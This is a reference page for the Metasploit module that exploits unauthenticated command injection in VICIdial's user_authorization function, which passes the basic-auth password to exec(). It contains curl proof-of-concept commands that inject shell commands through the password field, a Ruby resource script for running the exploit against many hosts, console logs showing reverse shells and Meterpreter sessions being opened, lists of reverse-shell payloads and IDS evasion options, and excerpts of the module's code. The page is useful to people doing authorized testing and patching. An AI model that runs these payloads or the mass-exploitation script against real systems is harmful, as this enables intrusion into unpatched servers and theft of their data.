VICIdial user_authorization Unauthenticated Command Execution - Metasploit
This page contains detailed information about how to use the exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: VICIdial user_authorization Unauthenticated Command Execution
Module: exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec
Source code: modules/exploits/unix/webapp/vicidial_user_authorization_unauth_cmd_exec.rb
Disclosure date: 2017-05-26
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
This module exploits a vulnerability in VICIdial versions 2.9 RC 1 to 2.13 RC1 which allows unauthenticated users to execute arbitrary operating system commands as the web server user if password encryption is enabled (disabled by default). When password encryption is enabled the user's password supplied using HTTP basic authentication is used in a call to exec(). This module has been tested successfully on version 2.11 RC2 and 2.13 RC1 on CentOS.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using vicidial_user_authorization_unauth_cmd_exec against a single host
Normally, you can use exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec this way:
msf > use exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec
msf exploit(vicidial_user_authorization_unauth_cmd_exec) > show targets
... a list of targets ...
msf exploit(vicidial_user_authorization_unauth_cmd_exec) > set TARGET target-id
msf exploit(vicidial_user_authorization_unauth_cmd_exec) > show options
... show and set options ...
msf exploit(vicidial_user_authorization_unauth_cmd_exec) > exploit
Using vicidial_user_authorization_unauth_cmd_exec against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your vicidial_user_authorization_unauth_cmd_exec will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Description
This module exploits a vulnerability in VICIdial versions 2.9 RC1 to 2.13 RC1 which allows unauthenticated users to execute arbitrary operating system commands as the web server user if password encryption is enabled (disabled by default).
When password encryption is enabled the user's password supplied using HTTP basic authentication is used in a call to exec().
This module has been tested successfully on version 2.11 RC2 and 2.13 RC1 on CentOS.
Vulnerable Application
VICIDIAL is a software suite that is designed to interact with the Asterisk Open-Source PBX Phone system to act as a complete inbound/outbound contact center suite with inbound email support as well.
This module has been tested successfully on version 2.11 RC2 and 2.13 RC1 on CentOS.
Installers:
Follow the instructions to enabled password encryption.
Technical Details
The functions.php file defines a function called user_authorization:
function user_authorization($user,$pass,$user_option,$user_update)
This function is used throughout the application to validate user logon credentials supplied using HTTP basic authentication. If password encryption is enabled the user's password is passed to the pass argument of the bp.pl Perl script, without quotes, using PHP's exec() function:
if ($SSpass_hash_enabled > 0)
{
if (file_exists("../agc/bp.pl"))
{$pass_hash = exec("../agc/bp.pl --pass=$pass");}
else
{$pass_hash = exec("../../agc/bp.pl --pass=$pass");}
A rudimentary blacklist is used to prevent command injection. The apostrophe ', quote ", semi-colon ; and backslash \ characters are removed from the user's username and password using preg_replace, like so:
$user = preg_replace("/\'|\"|\\\\|;/","",$user);
$pass = preg_replace("/\'|\"|\\\\|;/","",$pass);
It is trivial to bypass the blacklist.
For example, backticks `, pipe | or ampersand & are sufficient to bypass the blacklist and execute arbitrary operating system commands.
For the purposes of exploitation, reaching the user_authorization function call with malicious input is hindered by additional input validation in use prior to the authentication check throughout the majority of the codebase:
$PHP_AUTH_USER = preg_replace('/[^-_0-9a-zA-Z]/', '', $PHP_AUTH_USER);
$PHP_AUTH_PW = preg_replace('/[^-_0-9a-zA-Z]/', '', $PHP_AUTH_PW);
However, in VICIdial version 2.11RC2, at least two files did not make use of the additional validation:
- help.php
- vicidial_sales_viewer.php
In VICIdial version 2.13RC1, at least one file did not make use of the additional validation:
- vicidial_sales_viewer.php
This vulnerability was patched in revision 2759.
Proof of Concept
$ curl -isk "https://VICIdial.local/vicidial/vicidial_sales_viewer.php" \
--user 'anyusername:anypassword& id>/tmp/pwned_by_sales_viewer #'
$ curl -isk "https://VICIdial.local/vicidial/help.php" \
--user 'anyusername:anypassword& id>/tmp/pwned_by_help #'
Note that /tmp/pwned_by_help and /tmp/pwned_by_sales_viewer files should contain the results of the id command.
Verification Steps
- Start
msfconsole - Do:
use exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec - Do:
set rhost [IP] - Do:
run - You should get a session
Scenarios
msf exploit(vicidial_user_authorization_unauth_cmd_exec) > check
[*] 172.16.191.150:80 The target appears to be vulnerable.
msf exploit(vicidial_user_authorization_unauth_cmd_exec) > run
[*] Started reverse TCP handler on 172.16.191.181:4444
[*] 172.16.191.150:80 Sending payload (505 bytes)
[+] 172.16.191.150:80 Payload sent successfully
[*] Command shell session 1 opened (172.16.191.181:4444 -> 172.16.191.150:36660) at 2017-05-27 01:00:41 -0400
id
uid=48(apache) gid=48(apache) groups=48(apache)
Verbose
msf exploit(vicidial_user_authorization_unauth_cmd_exec) > set verbose true
verbose => true
msf exploit(vicidial_user_authorization_unauth_cmd_exec) > check
[*] 172.16.191.150:80 Password encryption is supported, but may not be enabled.
[*] 172.16.191.150:80 The target appears to be vulnerable.
msf exploit(vicidial_user_authorization_unauth_cmd_exec) > run
[*] Started reverse TCP handler on 172.16.191.181:4444
[*] 172.16.191.150:80 Sending payload (505 bytes)
[+] 172.16.191.150:80 Payload sent successfully
[*] Command shell session 2 opened (172.16.191.181:4444 -> 172.16.191.150:36661) at 2017-05-27 01:00:48 -0400
id
uid=48(apache) gid=48(apache) groups=48(apache)
Go back to menu.
Msfconsole Usage
Here is how the unix/webapp/vicidial_user_authorization_unauth_cmd_exec exploit module looks in the msfconsole:
msf6 > use exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/webapp/vicidial_user_authorization_unauth_cmd_exec) > show info
Name: VICIdial user_authorization Unauthenticated Command Execution
Module: exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-05-26
Provided by:
bcoles <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic Targeting
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /vicidial/ yes The base path to VICIdial
VHOST no HTTP server virtual host
Payload information:
Space: 2048
Avoid: 6 characters
Description:
This module exploits a vulnerability in VICIdial versions 2.9 RC 1
to 2.13 RC1 which allows unauthenticated users to execute arbitrary
operating system commands as the web server user if password
encryption is enabled (disabled by default). When password
encryption is enabled the user's password supplied using HTTP basic
authentication is used in a call to exec(). This module has been
tested successfully on version 2.11 RC2 and 2.13 RC1 on CentOS.
References:
http://www.vicidial.org/VICIDIALmantis/view.php?id=1016
Module Options
This is a complete list of options available in the unix/webapp/vicidial_user_authorization_unauth_cmd_exec exploit:
msf6 exploit(unix/webapp/vicidial_user_authorization_unauth_cmd_exec) > show options
Module options (exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /vicidial/ yes The base path to VICIdial
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
Advanced Options
Here is a complete list of advanced options supported by the unix/webapp/vicidial_user_authorization_unauth_cmd_exec exploit:
msf6 exploit(unix/webapp/vicidial_user_authorization_unauth_cmd_exec) > show advanced
Module advanced options (exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/webapp/vicidial_user_authorization_unauth_cmd_exec module can exploit:
msf6 exploit(unix/webapp/vicidial_user_authorization_unauth_cmd_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/webapp/vicidial_user_authorization_unauth_cmd_exec exploit:
msf6 exploit(unix/webapp/vicidial_user_authorization_unauth_cmd_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
1 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
2 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
3 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
4 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
5 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
6 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
7 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
8 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
9 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
10 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
Evasion Options
Here is the full list of possible evasion options supported by the unix/webapp/vicidial_user_authorization_unauth_cmd_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/webapp/vicidial_user_authorization_unauth_cmd_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
60: pass = "#{rand_text_alpha(rand(10) + 5)}&#"
61: res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'vicidial_sales_viewer.php'),
62: 'authorization' => basic_auth(user, pass)
63:
64: unless res
65: vprint_status 'Connection failed'
66: return CheckCode::Unknown
67: end
68:
69: if res.code != 401
70: vprint_status "#{peer} Unexpected reply. Expected authentication failure."
<PEER> Password encryption is supported, but may not be enabled.
Here is a relevant code snippet related to the "<PEER> Password encryption is supported, but may not be enabled." error message:
79: end
80:
81: # Check for ../agc/bp.pl password encryption script
82: res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '..', 'agc', 'bp.pl')
83: if res && res.code == 200 && res.body =~ /Bcrypt password hashing script/
84: vprint_status "#{peer} Password encryption is supported, but may not be enabled."
85: return CheckCode::Appears
86: end
87:
88: vprint_status "#{peer} Could not verify whether password encryption is supported."
89: CheckCode::Detected
<PEER> Could not verify whether password encryption is supported.
Here is a relevant code snippet related to the "<PEER> Could not verify whether password encryption is supported." error message:
83: if res && res.code == 200 && res.body =~ /Bcrypt password hashing script/
84: vprint_status "#{peer} Password encryption is supported, but may not be enabled."
85: return CheckCode::Appears
86: end
87:
88: vprint_status "#{peer} Could not verify whether password encryption is supported."
89: CheckCode::Detected
90: end
91:
92: def execute_command(cmd, opts = {})
93: user = rand_text_alpha(rand(10) + 5)
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
96: print_status "#{peer} Sending payload (#{cmd.length} bytes)"
97: res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'vicidial_sales_viewer.php'),
98: 'authorization' => basic_auth(user, pass)
99:
100: if !res
101: fail_with(Failure::Unreachable, 'Connection failed')
102: elsif res.code == 401 && res.body =~ /#{user}/ && res.body =~ /BAD/
103: print_good "#{peer} Payload sent successfully"
104: else
105: fail_with(Failure::UnexpectedReply, 'Unexpected reply')
106: end
Unexpected reply
Here is a relevant code snippet related to the "Unexpected reply" error message:
100: if !res
101: fail_with(Failure::Unreachable, 'Connection failed')
102: elsif res.code == 401 && res.body =~ /#{user}/ && res.body =~ /BAD/
103: print_good "#{peer} Payload sent successfully"
104: else
105: fail_with(Failure::UnexpectedReply, 'Unexpected reply')
106: end
107: end
108:
109: def exploit
110: execute_command(payload.encoded)
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #11234 Merged Pull Request: revisionism
- #8471 Merged Pull Request: Add VICIdial user_authorization Unauthenticated Command Execution module
References
See Also
Check also the following modules related to this module:
- exploit/unix/webapp/vicidial_manager_send_cmd_exec
- auxiliary/scanner/http/vicidial_multiple_sqli
- exploit/unix/webapp/ajenti_auth_username_cmd_injection
- exploit/unix/webapp/piwik_superuser_plugin_upload
- exploit/unix/webapp/xymon_useradm_cmd_exec
- exploit/unix/webapp/zpanel_username_exec
- exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload
- exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection
- exploit/unix/webapp/fusionpbx_exec_cmd_exec
- exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec
- exploit/unix/webapp/opennetadmin_ping_cmd_injection
- exploit/unix/webapp/rconfig_install_cmd_exec
- exploit/unix/http/xdebug_unauth_exec
- exploit/unix/fileformat/metasploit_libnotify_cmd_injection
- exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
- exploit/unix/http/epmp1000_get_chart_cmd_shell
- exploit/unix/http/epmp1000_ping_cmd_shell
Authors
bcoles
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
